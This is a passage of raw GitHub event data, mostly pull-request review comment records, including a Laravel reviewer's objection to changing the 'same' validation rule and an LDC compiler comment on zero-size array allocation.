alert","fork":false,"url":"https://api.github.com/repos/target/goalert","forks_url":"https://api.github.com/repos/target/goalert/forks","keys_url":"https://api.github.com/repos/target/goalert/keys{/key_id}","collaborators_url":"https://api.github.com/repos/target/goalert/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/target/goalert/teams","hooks_url":"https://api.github.com/repos/target/goalert/hooks","issue_events_url":"https://api.github.com/repos/target/goalert/issues/events{/number}","events_url":"https://api.github.com/repos/target/goalert/events","assignees_url":"https://api.github.com/repos/target/goalert/assignees{/user}","branches_url":"https://api.github.com/repos/target/goalert/branches{/branch}","tags_url":"https://api.github.com/repos/target/goalert/tags","blobs_url":"https://api.github.com/repos/target/goalert/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/target/goalert/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/target/goalert/git/refs{/sha}","trees_url":"https://api.github.com/repos/target/goalert/git/trees{/sha}","statuses_url":"https://api.github.com/repos/target/goalert/statuses/{sha}","languages_url":"https://api.github.com/repos/target/goalert/languages","stargazers_url":"https://api.github.com/repos/target/goalert/stargazers","contributors_url":"https://api.github.com/repos/target/goalert/contributors","subscribers_url":"https://api.github.com/repos/target/goalert/subscribers","subscription_url":"https://api.github.com/repos/target/goalert/subscription","commits_url":"https://api.github.com/repos/target/goalert/commits{/sha}","git_commits_url":"https://api.github.com/repos/target/goalert/git/commits{/sha}","comments_url":"https://api.github.com/repos/target/goalert/comments{/number}","issue_comment_url":"https://api.github.com/repos/target/goalert/issues/comments{/number}","contents_url":"https://api.github.com/repos/target/goalert/contents/{+path}","compare_url":"https://api.github.com/repos/target/goalert/compare/{base}...{head}","merges_url":"https://api.github.com/repos/target/goalert/merges","archive_url":"https://api.github.com/repos/target/goalert/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/target/goalert/downloads","issues_url":"https://api.github.com/repos/target/goalert/issues{/number}","pulls_url":"https://api.github.com/repos/target/goalert/pulls{/number}","milestones_url":"https://api.github.com/repos/target/goalert/milestones{/number}","notifications_url":"https://api.github.com/repos/target/goalert/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/target/goalert/labels{/name}","releases_url":"https://api.github.com/repos/target/goalert/releases{/id}","deployments_url":"https://api.github.com/repos/target/goalert/deployments","created_at":"2019-05-24T16:46:20Z","updated_at":"2019-08-08T15:17:45Z","pushed_at":"2019-08-08T15:17:52Z","git_url":"git://github.com/target/goalert.git","ssh_url":"git@github.com:target/goalert.git","clone_url":"https://github.com/target/goalert.git","svn_url":"https://github.com/target/goalert","homepage":"https://goalert.me","size":2092,"stargazers_count":745,"watchers_count":745,"language":"Go","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":46,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":46,"open_issues":10,"watchers":745,"default_branch":"master"}},"base":{"label":"target:master","ref":"master","sha":"0d3232172feb44932273bea55f7c1e5220ba7f98","user":{"login":"target","id":932489,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkzMjQ4OQ==","avatar_url":"https://avatars2.githubusercontent.com/u/932489?v=4","gravatar_id":"","url":"https://api.github.com/users/target","html_url":"https://github.com/target","followers_url":"https://api.github.com/users/target/followers","following_url":"https://api.github.com/users/target/following{/other_user}","gists_url":"https://api.github.com/users/target/gists{/gist_id}","starred_url":"https://api.github.com/users/target/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/target/subscriptions","organizations_url":"https://api.github.com/users/target/orgs","repos_url":"https://api.github.com/users/target/repos","events_url":"https://api.github.com/users/target/events{/privacy}","received_events_url":"https://api.github.com/users/target/received_events","type":"Organization","site_admin":false},"repo":{"id":188457198,"node_id":"MDEwOlJlcG9zaXRvcnkxODg0NTcxOTg=","name":"goalert","full_name":"target/goalert","private":false,"owner":{"login":"target","id":932489,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkzMjQ4OQ==","avatar_url":"https://avatars2.githubusercontent.com/u/932489?v=4","gravatar_id":"","url":"https://api.github.com/users/target","html_url":"https://github.com/target","followers_url":"https://api.github.com/users/target/followers","following_url":"https://api.github.com/users/target/following{/other_user}","gists_url":"https://api.github.com/users/target/gists{/gist_id}","starred_url":"https://api.github.com/users/target/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/target/subscriptions","organizations_url":"https://api.github.com/users/target/orgs","repos_url":"https://api.github.com/users/target/repos","events_url":"https://api.github.com/users/target/events{/privacy}","received_events_url":"https://api.github.com/users/target/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/target/goalert","description":"Open source on-call scheduling, automated escalations, and notifications so you never miss a critical alert","fork":false,"url":"https://api.github.com/repos/target/goalert","forks_url":"https://api.github.com/repos/target/goalert/forks","keys_url":"https://api.github.com/repos/target/goalert/keys{/key_id}","collaborators_url":"https://api.github.com/repos/target/goalert/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/target/goalert/teams","hooks_url":"https://api.github.com/repos/target/goalert/hooks","issue_events_url":"https://api.github.com/repos/target/goalert/issues/events{/number}","events_url":"https://api.github.com/repos/target/goalert/events","assignees_url":"https://api.github.com/repos/target/goalert/assignees{/user}","branches_url":"https://api.github.com/repos/target/goalert/branches{/branch}","tags_url":"https://api.github.com/repos/target/goalert/tags","blobs_url":"https://api.github.com/repos/target/goalert/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/target/goalert/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/target/goalert/git/refs{/sha}","trees_url":"https://api.github.com/repos/target/goalert/git/trees{/sha}","statuses_url":"https://api.github.com/repos/target/goalert/statuses/{sha}","languages_url":"https://api.github.com/repos/target/goalert/languages","stargazers_url":"https://api.github.com/repos/target/goalert/stargazers","contributors_url":"https://api.github.com/repos/target/goalert/contributors","subscribers_url":"https://api.github.com/repos/target/goalert/subscribers","subscription_url":"https://api.github.com/repos/target/goalert/subscription","commits_url":"https://api.github.com/repos/target/goalert/commits{/sha}","git_commits_url":"https://api.github.com/repos/target/goalert/git/commits{/sha}","comments_url":"https://api.github.com/repos/target/goalert/comments{/number}","issue_comment_url":"https://api.github.com/repos/target/goalert/issues/comments{/number}","contents_url":"https://api.github.com/repos/target/goalert/contents/{+path}","compare_url":"https://api.github.com/repos/target/goalert/compare/{base}...{head}","merges_url":"https://api.github.com/repos/target/goalert/merges","archive_url":"https://api.github.com/repos/target/goalert/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/target/goalert/downloads","issues_url":"https://api.github.com/repos/target/goalert/issues{/number}","pulls_url":"https://api.github.com/repos/target/goalert/pulls{/number}","milestones_url":"https://api.github.com/repos/target/goalert/milestones{/number}","notifications_url":"https://api.github.com/repos/target/goalert/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/target/goalert/labels{/name}","releases_url":"https://api.github.com/repos/target/goalert/releases{/id}","deployments_url":"https://api.github.com/repos/target/goalert/deployments","created_at":"2019-05-24T16:46:20Z","updated_at":"2019-08-08T15:17:45Z","pushed_at":"2019-08-08T15:17:52Z","git_url":"git://github.com/target/goalert.git","ssh_url":"git@github.com:target/goalert.git","clone_url":"https://github.com/target/goalert.git","svn_url":"https://github.com/target/goalert","homepage":"https://goalert.me","size":2092,"stargazers_count":745,"watchers_count":745,"language":"Go","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":46,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":46,"open_issues":10,"watchers":745,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/target/goalert/pulls/85"},"html":{"href":"https://github.com/target/goalert/pull/85"},"issue":{"href":"https://api.github.com/repos/target/goalert/issues/85"},"comments":{"href":"https://api.github.com/repos/target/goalert/issues/85/comments"},"review_comments":{"href":"https://api.github.com/repos/target/goalert/pulls/85/comments"},"review_comment":{"href":"https://api.github.com/repos/target/goalert/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/target/goalert/pulls/85/commits"},"statuses":{"href":"https://api.github.com/repos/target/goalert/statuses/9544db1cb5c8995e1f39d02b4b70c51da7ecf00f"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 188457198,
"name": "target/goalert",
"url": "https://api.github.com/repos/target/goalert"
}
|
{
"id": 595010,
"login": "mastercactapus",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/595010?",
"url": "https://api.github.com/users/mastercactapus"
}
|
{
"id": 932489,
"login": "target",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/932489?",
"url": "https://api.github.com/orgs/target"
}
| 2019-08-08T15:17:46 |
10174552009
|
{"actor":{"display_login":"mastercactapus"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/laravel/framework/pulls/comments/361547021","pull_request_review_id":336631202,"id":361547021,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM2MTU0NzAyMQ==","diff_hunk":"@@ -1153,7 +1153,7 @@ public function testValidateSame()\n $this->assertFalse($v->passes());\n \n $v = new Validator($trans, ['foo' => 'bar'], ['foo' => 'Same:baz']);\n- $this->assertFalse($v->passes());\n+ $this->assertTrue($v->passes());","path":"tests/Validation/ValidationValidatorTest.php","position":5,"original_position":5,"commit_id":"3ab0b9408c2a385abfdd958bb4b122583809ced0","original_commit_id":"3ab0b9408c2a385abfdd958bb4b122583809ced0","user":{"login":"X-Coder264","id":12602463,"node_id":"MDQ6VXNlcjEyNjAyNDYz","avatar_url":"https://avatars2.githubusercontent.com/u/12602463?v=4","gravatar_id":"","url":"https://api.github.com/users/X-Coder264","html_url":"https://github.com/X-Coder264","followers_url":"https://api.github.com/users/X-Coder264/followers","following_url":"https://api.github.com/users/X-Coder264/following{/other_user}","gists_url":"https://api.github.com/users/X-Coder264/gists{/gist_id}","starred_url":"https://api.github.com/users/X-Coder264/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/X-Coder264/subscriptions","organizations_url":"https://api.github.com/users/X-Coder264/orgs","repos_url":"https://api.github.com/users/X-Coder264/repos","events_url":"https://api.github.com/users/X-Coder264/events{/privacy}","received_events_url":"https://api.github.com/users/X-Coder264/received_events","type":"User","site_admin":false},"body":"We have two different topics here, how the `same` rule works/should work and your usecase in combination with the `sometimes` rule.\r\n\r\nYou've literally changed the behavior of the `same` rule to say that something is the same as nothing which is simply incorrect, just because it's convenient for your usecase. On top of that you are basically saying that this is a bugfix.\r\n\r\nThe `same` rule as well as its behavior and the test/assertion that you've changed exist since the first commit ever to the framework (2013) on GitHub. The assertion is proof that the author wanted it to behave that way, it's not a bug. Changing its behavior would IMO be a major breaking change which would affect literally every Laravel application out there.\r\n\r\n> What I propose is to only validate fields that are in the request\r\n\r\nThis is not how the validator behaves at the moment and like I said changing this would be a major BC. The behavior of the validator is very well documented - the very first sentence in the documentation link above about conditionally adding rules is:\r\n\r\n> In some situations, you may wish to run validation checks against a field only if that field is present in the input array\r\n\r\nThis clearly implies that the validation is run by default against all the specified fields even if the values are not present in the input and that the authors of the framework have added this feature for the exact usecase that you have here.","created_at":"2019-12-26T23:05:50Z","updated_at":"2019-12-26T23:05:50Z","html_url":"https://github.com/laravel/framework/pull/30945#discussion_r361547021","pull_request_url":"https://api.github.com/repos/laravel/framework/pulls/30945","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/laravel/framework/pulls/comments/361547021"},"html":{"href":"https://github.com/laravel/framework/pull/30945#discussion_r361547021"},"pull_request":{"href":"https://api.github.com/repos/laravel/framework/pulls/30945"}},"in_reply_to_id":361517228},"pull_request":{"url":"https://api.github.com/repos/laravel/framework/pulls/30945","id":357019674,"node_id":"MDExOlB1bGxSZXF1ZXN0MzU3MDE5Njc0","html_url":"https://github.com/laravel/framework/pull/30945","diff_url":"https://github.com/laravel/framework/pull/30945.diff","patch_url":"https://github.com/laravel/framework/pull/30945.patch","issue_url":"https://api.github.com/repos/laravel/framework/issues/30945","number":30945,"state":"open","locked":false,"title":"[7.x] Fix validation same|different with sometimes rule","user":{"login":"Arkanius","id":6404401,"node_id":"MDQ6VXNlcjY0MDQ0MDE=","avatar_url":"https://avatars3.githubusercontent.com/u/6404401?v=4","gravatar_id":"","url":"https://api.github.com/users/Arkanius","html_url":"https://github.com/Arkanius","followers_url":"https://api.github.com/users/Arkanius/followers","following_url":"https://api.github.com/users/Arkanius/following{/other_user}","gists_url":"https://api.github.com/users/Arkanius/gists{/gist_id}","starred_url":"https://api.github.com/users/Arkanius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arkanius/subscriptions","organizations_url":"https://api.github.com/users/Arkanius/orgs","repos_url":"https://api.github.com/users/Arkanius/repos","events_url":"https://api.github.com/users/Arkanius/events{/privacy}","received_events_url":"https://api.github.com/users/Arkanius/received_events","type":"User","site_admin":false},"body":"That is my proposal to fix https://github.com/laravel/framework/issues/30944, if it was really intended as a bug (as I hope).\r\n\r\nI'm sending to 7.x branch because I had to change two tests, which could means a \"bc\", but, my original intention was to send to 6.x as this is a bugfix.\r\n\r\nThese tests were asserting a wrong behavior according to https://github.com/laravel/framework/issues/30944","created_at":"2019-12-26T17:31:58Z","updated_at":"2019-12-26T23:05:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"198b5fc8237ae41a72a6e358714d6918e8be65f0","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/laravel/framework/pulls/30945/commits","review_comments_url":"https://api.github.com/repos/laravel/framework/pulls/30945/comments","review_comment_url":"https://api.github.com/repos/laravel/framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/laravel/framework/issues/30945/comments","statuses_url":"https://api.github.com/repos/laravel/framework/statuses/3ab0b9408c2a385abfdd958bb4b122583809ced0","head":{"label":"Arkanius:hotfix/equal-same-validation","ref":"hotfix/equal-same-validation","sha":"3ab0b9408c2a385abfdd958bb4b122583809ced0","user":{"login":"Arkanius","id":6404401,"node_id":"MDQ6VXNlcjY0MDQ0MDE=","avatar_url":"https://avatars3.githubusercontent.com/u/6404401?v=4","gravatar_id":"","url":"https://api.github.com/users/Arkanius","html_url":"https://github.com/Arkanius","followers_url":"https://api.github.com/users/Arkanius/followers","following_url":"https://api.github.com/users/Arkanius/following{/other_user}","gists_url":"https://api.github.com/users/Arkanius/gists{/gist_id}","starred_url":"https://api.github.com/users/Arkanius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arkanius/subscriptions","organizations_url":"https://api.github.com/users/Arkanius/orgs","repos_url":"https://api.github.com/users/Arkanius/repos","events_url":"https://api.github.com/users/Arkanius/events{/privacy}","received_events_url":"https://api.github.com/users/Arkanius/received_events","type":"User","site_admin":false},"repo":{"id":223457441,"node_id":"MDEwOlJlcG9zaXRvcnkyMjM0NTc0NDE=","name":"framework","full_name":"Arkanius/framework","private":false,"owner":{"login":"Arkanius","id":6404401,"node_id":"MDQ6VXNlcjY0MDQ0MDE=","avatar_url":"https://avatars3.githubusercontent.com/u/6404401?v=4","gravatar_id":"","url":"https://api.github.com/users/Arkanius","html_url":"https://github.com/Arkanius","followers_url":"https://api.github.com/users/Arkanius/followers","following_url":"https://api.github.com/users/Arkanius/following{/other_user}","gists_url":"https://api.github.com/users/Arkanius/gists{/gist_id}","starred_url":"https://api.github.com/users/Arkanius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arkanius/subscriptions","organizations_url":"https://api.github.com/users/Arkanius/orgs","repos_url":"https://api.github.com/users/Arkanius/repos","events_url":"https://api.github.com/users/Arkanius/events{/privacy}","received_events_url":"https://api.github.com/users/Arkanius/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Arkanius/framework","description":null,"fork":true,"url":"https://api.github.com/repos/Arkanius/framework","forks_url":"https://api.github.com/repos/Arkanius/framework/forks","keys_url":"https://api.github.com/repos/Arkanius/framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Arkanius/framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Arkanius/framework/teams","hooks_url":"https://api.github.com/repos/Arkanius/framework/hooks","issue_events_url":"https://api.github.com/repos/Arkanius/framework/issues/events{/number}","events_url":"https://api.github.com/repos/Arkanius/framework/events","assignees_url":"https://api.github.com/repos/Arkanius/framework/assignees{/user}","branches_url":"https://api.github.com/repos/Arkanius/framework/branches{/branch}","tags_url":"https://api.github.com/repos/Arkanius/framework/tags","blobs_url":"https://api.github.com/repos/Arkanius/framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Arkanius/framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Arkanius/framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/Arkanius/framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Arkanius/framework/statuses/{sha}","languages_url":"https://api.github.com/repos/Arkanius/framework/languages","stargazers_url":"https://api.github.com/repos/Arkanius/framework/stargazers","contributors_url":"https://api.github.com/repos/Arkanius/framework/contributors","subscribers_url":"https://api.github.com/repos/Arkanius/framework/subscribers","subscription_url":"https://api.github.com/repos/Arkanius/framework/subscription","commits_url":"https://api.github.com/repos/Arkanius/framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/Arkanius/framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/Arkanius/framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/Arkanius/framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/Arkanius/framework/contents/{+path}","compare_url":"https://api.github.com/repos/Arkanius/framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Arkanius/framework/merges","archive_url":"https://api.github.com/repos/Arkanius/framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Arkanius/framework/downloads","issues_url":"https://api.github.com/repos/Arkanius/framework/issues{/number}","pulls_url":"https://api.github.com/repos/Arkanius/framework/pulls{/number}","milestones_url":"https://api.github.com/repos/Arkanius/framework/milestones{/number}","notifications_url":"https://api.github.com/repos/Arkanius/framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Arkanius/framework/labels{/name}","releases_url":"https://api.github.com/repos/Arkanius/framework/releases{/id}","deployments_url":"https://api.github.com/repos/Arkanius/framework/deployments","created_at":"2019-11-22T17:57:09Z","updated_at":"2019-11-22T17:57:12Z","pushed_at":"2019-12-26T17:00:36Z","git_url":"git://github.com/Arkanius/framework.git","ssh_url":"git@github.com:Arkanius/framework.git","clone_url":"https://github.com/Arkanius/framework.git","svn_url":"https://github.com/Arkanius/framework","homepage":"https://laravel.com","size":41811,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"6.x"}},"base":{"label":"laravel:master","ref":"master","sha":"ce3b44d50c5cabaa622e1b14c53b7f54a6eaacbc","user":{"login":"laravel","id":958072,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk1ODA3Mg==","avatar_url":"https://avatars3.githubusercontent.com/u/958072?v=4","gravatar_id":"","url":"https://api.github.com/users/laravel","html_url":"https://github.com/laravel","followers_url":"https://api.github.com/users/laravel/followers","following_url":"https://api.github.com/users/laravel/following{/other_user}","gists_url":"https://api.github.com/users/laravel/gists{/gist_id}","starred_url":"https://api.github.com/users/laravel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/laravel/subscriptions","organizations_url":"https://api.github.com/users/laravel/orgs","repos_url":"https://api.github.com/users/laravel/repos","events_url":"https://api.github.com/users/laravel/events{/privacy}","received_events_url":"https://api.github.com/users/laravel/received_events","type":"Organization","site_admin":false},"repo":{"id":7548986,"node_id":"MDEwOlJlcG9zaXRvcnk3NTQ4OTg2","name":"framework","full_name":"laravel/framework","private":false,"owner":{"login":"laravel","id":958072,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk1ODA3Mg==","avatar_url":"https://avatars3.githubusercontent.com/u/958072?v=4","gravatar_id":"","url":"https://api.github.com/users/laravel","html_url":"https://github.com/laravel","followers_url":"https://api.github.com/users/laravel/followers","following_url":"https://api.github.com/users/laravel/following{/other_user}","gists_url":"https://api.github.com/users/laravel/gists{/gist_id}","starred_url":"https://api.github.com/users/laravel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/laravel/subscriptions","organizations_url":"https://api.github.com/users/laravel/orgs","repos_url":"https://api.github.com/users/laravel/repos","events_url":"https://api.github.com/users/laravel/events{/privacy}","received_events_url":"https://api.github.com/users/laravel/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/laravel/framework","description":null,"fork":false,"url":"https://api.github.com/repos/laravel/framework","forks_url":"https://api.github.com/repos/laravel/framework/forks","keys_url":"https://api.github.com/repos/laravel/framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/laravel/framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/laravel/framework/teams","hooks_url":"https://api.github.com/repos/laravel/framework/hooks","issue_events_url":"https://api.github.com/repos/laravel/framework/issues/events{/number}","events_url":"https://api.github.com/repos/laravel/framework/events","assignees_url":"https://api.github.com/repos/laravel/framework/assignees{/user}","branches_url":"https://api.github.com/repos/laravel/framework/branches{/branch}","tags_url":"https://api.github.com/repos/laravel/framework/tags","blobs_url":"https://api.github.com/repos/laravel/framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/laravel/framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/laravel/framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/laravel/framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/laravel/framework/statuses/{sha}","languages_url":"https://api.github.com/repos/laravel/framework/languages","stargazers_url":"https://api.github.com/repos/laravel/framework/stargazers","contributors_url":"https://api.github.com/repos/laravel/framework/contributors","subscribers_url":"https://api.github.com/repos/laravel/framework/subscribers","subscription_url":"https://api.github.com/repos/laravel/framework/subscription","commits_url":"https://api.github.com/repos/laravel/framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/laravel/framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/laravel/framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/laravel/framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/laravel/framework/contents/{+path}","compare_url":"https://api.github.com/repos/laravel/framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/laravel/framework/merges","archive_url":"https://api.github.com/repos/laravel/framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/laravel/framework/downloads","issues_url":"https://api.github.com/repos/laravel/framework/issues{/number}","pulls_url":"https://api.github.com/repos/laravel/framework/pulls{/number}","milestones_url":"https://api.github.com/repos/laravel/framework/milestones{/number}","notifications_url":"https://api.github.com/repos/laravel/framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/laravel/framework/labels{/name}","releases_url":"https://api.github.com/repos/laravel/framework/releases{/id}","deployments_url":"https://api.github.com/repos/laravel/framework/deployments","created_at":"2013-01-10T21:27:28Z","updated_at":"2019-12-26T22:51:00Z","pushed_at":"2019-12-26T20:17:00Z","git_url":"git://github.com/laravel/framework.git","ssh_url":"git@github.com:laravel/framework.git","clone_url":"https://github.com/laravel/framework.git","svn_url":"https://github.com/laravel/framework","homepage":"https://laravel.com","size":42201,"stargazers_count":19781,"watchers_count":19781,"language":"PHP","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":6995,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":93,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":6995,"open_issues":93,"watchers":19781,"default_branch":"6.x"}},"_links":{"self":{"href":"https://api.github.com/repos/laravel/framework/pulls/30945"},"html":{"href":"https://github.com/laravel/framework/pull/30945"},"issue":{"href":"https://api.github.com/repos/laravel/framework/issues/30945"},"comments":{"href":"https://api.github.com/repos/laravel/framework/issues/30945/comments"},"review_comments":{"href":"https://api.github.com/repos/laravel/framework/pulls/30945/comments"},"review_comment":{"href":"https://api.github.com/repos/laravel/framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/laravel/framework/pulls/30945/commits"},"statuses":{"href":"https://api.github.com/repos/laravel/framework/statuses/3ab0b9408c2a385abfdd958bb4b122583809ced0"}},"author_association":"NONE"}}
|
{
"id": 7548986,
"name": "laravel/framework",
"url": "https://api.github.com/repos/laravel/framework"
}
|
{
"id": 12602463,
"login": "X-Coder264",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/12602463?",
"url": "https://api.github.com/users/X-Coder264"
}
|
{
"id": 958072,
"login": "laravel",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/958072?",
"url": "https://api.github.com/orgs/laravel"
}
| 2019-12-26T23:05:50 |
11163509022
|
{"actor":{"display_login":"X-Coder264"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ldc-developers/ldc/pulls/comments/270591985","pull_request_review_id":220781544,"id":270591985,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3MDU5MTk4NQ==","diff_hunk":"@@ -682,10 +682,13 @@ DSliceValue *DtoNewDynArray(Loc &loc, Type *arrayType, DValue *dim,\n IF_LOG Logger::println(\"DtoNewDynArray : %s\", arrayType->toChars());\n LOG_SCOPE;\n \n- // get runtime function\n Type *eltType = arrayType->toBasetype()->nextOf();\n- bool zeroInit = eltType->isZeroInit();\n \n+ if (eltType->size() == 0)\n+ return DtoNullValue(arrayType, loc)->isSlice();","path":"gen/arrays.cpp","position":9,"original_position":9,"commit_id":"491310e9ca57025b688dc46e619f1d319a089755","original_commit_id":"491310e9ca57025b688dc46e619f1d319a089755","user":{"login":"kinke","id":1889215,"node_id":"MDQ6VXNlcjE4ODkyMTU=","avatar_url":"https://avatars0.githubusercontent.com/u/1889215?v=4","gravatar_id":"","url":"https://api.github.com/users/kinke","html_url":"https://github.com/kinke","followers_url":"https://api.github.com/users/kinke/followers","following_url":"https://api.github.com/users/kinke/following{/other_user}","gists_url":"https://api.github.com/users/kinke/gists{/gist_id}","starred_url":"https://api.github.com/users/kinke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kinke/subscriptions","organizations_url":"https://api.github.com/users/kinke/orgs","repos_url":"https://api.github.com/users/kinke/repos","events_url":"https://api.github.com/users/kinke/events{/privacy}","received_events_url":"https://api.github.com/users/kinke/received_events","type":"User","site_admin":false},"body":"That's the only special case where the length returned by the druntime hooks does not match the input length.","created_at":"2019-03-29T22:36:20Z","updated_at":"2019-03-29T22:36:20Z","html_url":"https://github.com/ldc-developers/ldc/pull/3042#discussion_r270591985","pull_request_url":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/comments/270591985"},"html":{"href":"https://github.com/ldc-developers/ldc/pull/3042#discussion_r270591985"},"pull_request":{"href":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042"}}},"pull_request":{"url":"https://api.github.com/repos/ldc-developers/ldc/pulls/3042","id":265884589,"node_id":"MDExOlB1bGxSZXF1ZXN0MjY1ODg0NTg5","html_url":"https://github.com/ldc-developers/ldc/pull/3042","diff_url":"https://github.com/ldc-developers/ldc/pull/3042.diff","patch_url":"https://github.com/ldc-developers/ldc/pull/3042.patch","issue_url":"https://api.github.com/repos/ldc-developers/ldc/issues/3042","number":3042,"state":"open","locked":false,"title":"Propagate well-known length of newly allocated arrays","user":{"login":"kinke","id":1889215,"node_id":"MDQ6VXNlcjE4ODkyMTU=","avatar_url":"https://avatars0.githubusercontent.com/u/1889215?v=4","gravatar_id":"","url":"https://api.github.com/users/kinke","html_url":"https://github.com/kinke","followers_url":"https://api.github.com/users/kinke/followers","following_url":"https://api.github.com/users/kinke/following{/other_user}","gists_url":"https://api.github.com/users/kinke/gists{/gist_id}","starred_url":"https://api.github.com/users/kinke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kinke/subscriptions","organizations_url":"https://api.github.com/users/kinke/orgs","repos_url":"https://api.github.com/users/kinke/repos","events_url":"https://api.github.com/users/kinke/events{/privacy}","received_events_url":"https://api.github.com/users/kinke/received_events","type":"User","site_admin":false},"body":"For better optimizability, as the length information is lost when using the slice returned by the druntime hooks directly. Resolves 